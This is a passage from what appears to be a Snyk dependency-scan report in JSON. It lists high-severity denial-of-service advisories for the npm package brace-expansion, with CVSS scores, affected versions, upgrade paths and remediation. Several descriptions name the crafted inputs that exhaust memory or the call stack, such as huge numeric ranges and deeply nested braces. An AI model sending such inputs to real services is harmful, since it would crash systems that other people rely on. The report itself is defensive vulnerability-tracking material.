"sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ 